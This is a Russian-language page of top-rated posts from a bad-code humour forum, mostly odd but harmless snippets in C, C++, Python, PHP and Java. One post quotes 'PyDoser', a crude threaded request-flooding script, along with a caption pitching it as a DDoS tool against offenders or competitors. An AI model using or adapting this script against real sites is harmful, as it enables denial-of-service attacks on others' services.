1. Лучший говнокод

    В номинации:
    За время:
  2. Си / Говнокод #26528

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #include                             <stdio.h>
              #define q  t=*u,*u=*l,*l=t
           int f(char*s,char*p){char*u,*l,t
       ;static long g=0; if(!s)return 0;if(!p)p
    =s;if(g++==166217457)printf("%s\056\162\165\n"
       ,s);for(u=p;*u;u++) for(l=u+1;*l;l++)q,f
           (s,u+1),q;return  0;}int main(){
             char s[]= "\100aadeflnorrux"
    ;return                               f(s,0);}

    http://alexfru.narod.ru/econtact.html
    > My e-m@!1 address can be obtained with the following...

    Вот бля как надо свой email скрывать! А то вот какие-то анскилушные myemail (гав-гав) mail.ru - это всё хуйня, боты наверняка расшифруют

    j123123, 25 Марта 2020

    Комментарии (185)
  3. Куча / Говнокод #26478

    +4

    1. 1
    2. 2
    Словарь терминов говнокода.
    Один коммент - один термин.

    inkanusinho, 08 Марта 2020

    Комментарии (473)
  4. Куча / Говнокод #26458

    +4

    1. 1
    2. 2
    Минск 2
    Встреча говнокодеров.

    #1: https://govnokod.ru/25937 https://govnokod.xyz/_25937

    guestinxo, 28 Февраля 2020

    Комментарии (173)
  5. C++ / Говнокод #26452

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    static bool ShouldIgnoreHeaderForCacheReuse(AtomicString header_name) {
      // FIXME: This list of headers that don't affect cache policy almost certainly
      // isn't complete.
      DEFINE_STATIC_LOCAL(
          HashSet<AtomicString>, headers,
          ({"Cache-Control", "If-Modified-Since", "If-None-Match", "Origin",
            "Pragma", "Purpose", "Referer", "User-Agent"}));
      return headers.Contains(header_name);
    }

    https://chromium.googlesource.com/chromium/src/+/refs/heads/master/third_party/blink/renderer/platform/loader/fetch/raw_resource.cc

    Вот есть такая крутая фича под названием «preload»: https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content.
    Tl;dr: указываем «<link rel="preload" href="/comments.html" [...]>» в начале index.html, после чего браузер начнёт загружать comments.html в фоновом режиме. В «NGK» «Ангуляр» загружает этот самый comments.html для отрисовки главной страницы, поэтому предварительная загрузка (до того, как загрузится, собственно, «Ангуляр») может сэкономить несколько десятков миллисекунд. Ура.

    Но нельзя так просто взять и сделать что-то без пердолинга! Чтобы браузер смог использовать предварительно загруженный документ, необходимо, чтобы все заголовки, за исключением представленных в коде, в обоих запросах (из preload и из «Ангуляра») совпадали, что, конечно же, не лишено смысла. Поэтому, если просто взять и включить предварительную загрузку, «Хром» выдаст печальное «A preload for 'https://gcode.space/comments.html' is found, but is not used because the request headers do not match».

    Окей, повозившись с CORS, наш инженерный отдел добился полного совпадения заголовков, за исключением «Origin» (его браузер в «простых» запросах через XHR принципиально не ставит) и «Accept». «Ангуляр» по-умолчанию суёт в «Accept» «application/json, text/plain, */*», а для запроса через preload консоль разработчика показывает просто «*/*».
    Не беда! Наш инженерный отдел нагуглил, как поправить заголовки запросов в «Ангуляре», поставил там «*/*» и, довольный собой, приготовился наблюдать неебическое ускорение загрузки: https://i.imgur.com/q0CtQXp.png.

    gost, 27 Февраля 2020

    Комментарии (66)
  6. Python / Говнокод #26444

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    def generate_set(max_size, base_images, samples_per_image=100):
        assert len(base_images) == CHARS_NUM
        input_vec_len = max_size[0] * max_size[1]
        output_vec_len = CHARS_NUM
        set_size = samples_per_image * CHARS_NUM
        
        x_set = np.empty(shape=(set_size, input_vec_len))
        y_set = np.empty(shape=(set_size, output_vec_len))
    
        sample_num = 0
        for c, img in base_images.items():
            for _ in range(samples_per_image):
                x_set[sample_num] = generate_distorted_sample(img)
                y_set[sample_num] = char_to_onehot(c)
                sample_num += 1
        # LOL
        rng_state = np.random.get_state()
        np.random.shuffle(x_set)
        np.random.set_state(rng_state)
        np.random.shuffle(y_set)
        return x_set, y_set

    ТУРЕЛЬ: 1-1 сорцовый кобенный генератор по мотивам: https://govnokod.ru/26434#comment527875.
    https://github.com/gost-gk/turel
    Принцимп мухи: берём символы русского алфамита с цифрами/пуньктуацией, генерируем из них слегка искажённые картинки, тренируем элементарную модельку —

    optimizer = keras.optimizers.Adagrad(learning_rate=0.02)
    model = Sequential()
    model.add(Dense(units=CHARS_NUM * 2, activation='relu', input_dim=input_vec_len))
    model.add(Dense(units=CHARS_NUM, activation='softmax'))
    model.compile(loss='categorical_crossentropy',
    optimizer=optimizer,
    metrics=['accuracy'])

    — и пропускаем через неё входную сорцовую психозу. Настоящий «OCR»!
    Благодаря тому, что на английских символах модель не обучалась, при распознавании сорцов получается кобенный эффект.

    Моделька обучается очень быстро, десятка эпох (примерно по секунде на эпоху на моём корыте) достаточно для 97-98% точности распознавания искажённых символов.

    gost, 21 Февраля 2020

    Комментарии (156)
  7. PHP / Говнокод #26418

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if ($input->search_text!=""){
    		if ($input->search_text=="хуйня" or $input->search_text=="ХУЙНЯ" or $input->search_text=="Хуйня")
    			$this->result.="У нас серьезная компания и мы всякой хуйни на сайте не держим.";
    		else{
    		if (strlen($input->search_text)<2)
    			$this->result.="Строка поискового запроса должна состоять минимум из 2 символов.<br>Пожалуйста, измените Ваш запрос и повторите поиск.";
    		else{
    			$result.="Вы искали: <u><b>".$input->search_text."</b></u><br><br>";

    Вот такие вот пасхалки у серьёзных компаний. И такой код.

    vistefan, 07 Февраля 2020

    Комментарии (118)
  8. Python / Говнокод #26339

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    # coding: utf8
    
    import threading
    import requests
    
    banner = """
     ____________________________________________________
    |                                                    |
    | [--] Name: PyDoser                                 |
    |                                                    |
    | [--] Created by: @c3berman                         |
    |                                                    |
    | [--] Telegram channel: @detectent                  |
    |                                                    |
    | [--] Version: 1.0.6                                |
    |____________________________________________________|
    """
    
    print(banner)
    
    def dos():
     while True:
      requests.get("http://example.com")
      
    while True:
     threading.Thread(target=dos).start()

    Наткнулся на просторах "этих ваших интернетов" с следующей подписью:
    "DDoS инструмент, который позволит вам наказать обидчиков, либо протестировать конкурентов) Вам нужно в коде изменить example com -> на свой сайт для атаки. Скоро опубликую IP DDoS Tool)"

    fatcat75, 10 Января 2020

    Комментарии (191)
  9. C++ / Говнокод #26308

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    int main()
    {
        using ToString::ExprToString;
    
        using Result1 = Eval<Expr<Add,
            Expr<Div, Int<5>, Int<3>>,
            Expr<Div, Int<6>, Int<8>>>>;
        std::cout << ExprToString<Result1>::toString() << std::endl;  // 5/3 + 6/8 = (29 / 12)
    
        using Result2 = Eval<Expr<Div, Int<100>, Int<20>>>;
        std::cout << ExprToString<Result2>::toString() << std::endl;  // 5
    
        using Result3 = Eval<Expr<Div, Int<27>, Int<24>>>;
        std::cout << ExprToString<Result3>::toString() << std::endl;  // (9 / 8)
    
        using Result4 = Eval<Expr<Mul,
            Expr<Div, Int<5>, Int<3>>,
            Expr<Div, Int<6>, Int<8>>>>;
        std::cout << ExprToString<Result4>::toString() << std::endl;  // 5/3 * 6/8 = (5 / 4)
    
        using Result5 = Eval<Expr<Derivative, Var<0>, Expr<Mul, Var<0>, Var<0>>>>;
        std::cout << ExprToString<Result5>::toString() << std::endl;  // d/dx x*x = 2*x = (Var(0) * 2)
    
        using Result6 = Eval<Expr<Derivative, Var<0>, Expr<Div, Int<2>, Var<0>>>>;
        std::cout << ExprToString<Result6>::toString() << std::endl;  // d/dx 2/x = -2 * x^2
    
        return EXIT_SUCCESS;
    }

    Написал калькулятор с символьными вычислениями на шаблонах. Получился «Лисп».
    https://wandbox.org/permlink/vAHC5IpyIIyQhUjJ

    gost, 04 Января 2020

    Комментарии (16)
  10. Java / Говнокод #26069

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    value =
                (obj instanceof ParameterAlias)
                    ? "@" + ((ParameterAlias) obj).getAlias()
                    : (obj instanceof Boolean)
                        ? BooleanUtils.toStringTrueFalse((Boolean) obj)
                        : (obj instanceof UUID)
                            ? obj.toString()
    
                            : (obj instanceof byte[])
                                ? EdmBinary.getInstance().toUriLiteral(Hex.encodeHexString((byte[]) obj))
                                : (obj instanceof Timestamp)
                                    ? timestamp((Timestamp) obj)
                                    : (obj instanceof Calendar)
                                        ? calendar((Calendar) obj)
                                        : (obj instanceof Duration)
                                            ? duration((Duration) obj)
                                            : (obj instanceof BigDecimal)
                                                ? EdmDecimal.getInstance().valueToString(obj, null, null,
                                                    Constants.DEFAULT_PRECISION, Constants.DEFAULT_SCALE, null)
                                                : (obj instanceof Double)
                                                    ? EdmDouble.getInstance().valueToString(obj, null, null,
                                                        Constants.DEFAULT_PRECISION, Constants.DEFAULT_SCALE, null)
                                                    : (obj instanceof Float)
                                                        ? EdmSingle.getInstance().valueToString(obj, null, null,
                                                            Constants.DEFAULT_PRECISION, Constants.DEFAULT_SCALE, null)
                                                        : (obj instanceof Long)
                                                            ? EdmInt64.getInstance().valueToString(obj, null, null,
                                                                Constants.DEFAULT_PRECISION, Constants.DEFAULT_SCALE, null)
                                                            : (obj instanceof Geospatial)
                                                                ? Encoder.encode(EdmPrimitiveTypeFactory.getInstance(
                                                                    ((Geospatial) obj).getEdmPrimitiveTypeKind()).
                                                                    valueToString(obj, null, null,
                                                                        Constants.DEFAULT_PRECISION,
                                                                        Constants.DEFAULT_SCALE, null))
                                                                : (obj instanceof String)
                                                                    ? quoteString((String) obj, singleQuoteEscape)
                                                                    : obj.toString();

    Петроградская тюрьма
    С поворотом лесенки.
    Мы с товарищем сидели –
    Распевали песенки

    Мистер Хэнки, 06 Декабря 2019

    Комментарии (45)
  11. C++ / Говнокод #26022

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    // https://godbolt.org/z/PPAWM0
    #include <embed>
    #include <cstdint>
    
    constexpr std::uint64_t val_64_const = 0xcbf29ce484222325u;
    constexpr std::uint64_t prime_64_const = 0x100000001b3u;
    
    inline constexpr std::uint64_t
    hash_64_fnv1a_const(const char* const ptr, std::size_t ptr_size, const std::uint64_t value = val_64_const) noexcept {
    	return (ptr_size == 1) 
    		? value : 
    		hash_64_fnv1a_const(&ptr[1],
    			ptr_size - 1, 
    			(value ^ static_cast<std::uint64_t>(static_cast<char>(*ptr))) * prime_64_const);
    }
    
    int main () {
    	constexpr std::span<const char> art_data  = std::embed("/dev/urandom", 32);
    	constexpr std::uint64_t actual = hash_64_fnv1a_const(art_data.data(), art_data.size());
    
    	return static_cast<int>(actual);
    }

    Очередная дрисня http://open-std.org/JTC1/SC22/WG21/docs/papers/2018/p1040r0.html в крестоговне, теперь можно через std::embed прочитать какое-то говно и даже в constexpr с ним что-то делать, например считать хеш-сумму. Можно constexpr-компилятор сделать, который бы читал код через std::embed и через constexpr хуиту его обрабатывал и компилировал. Скажите им еще про миксины из D

    j123123, 10 Ноября 2019

    Комментарии (95)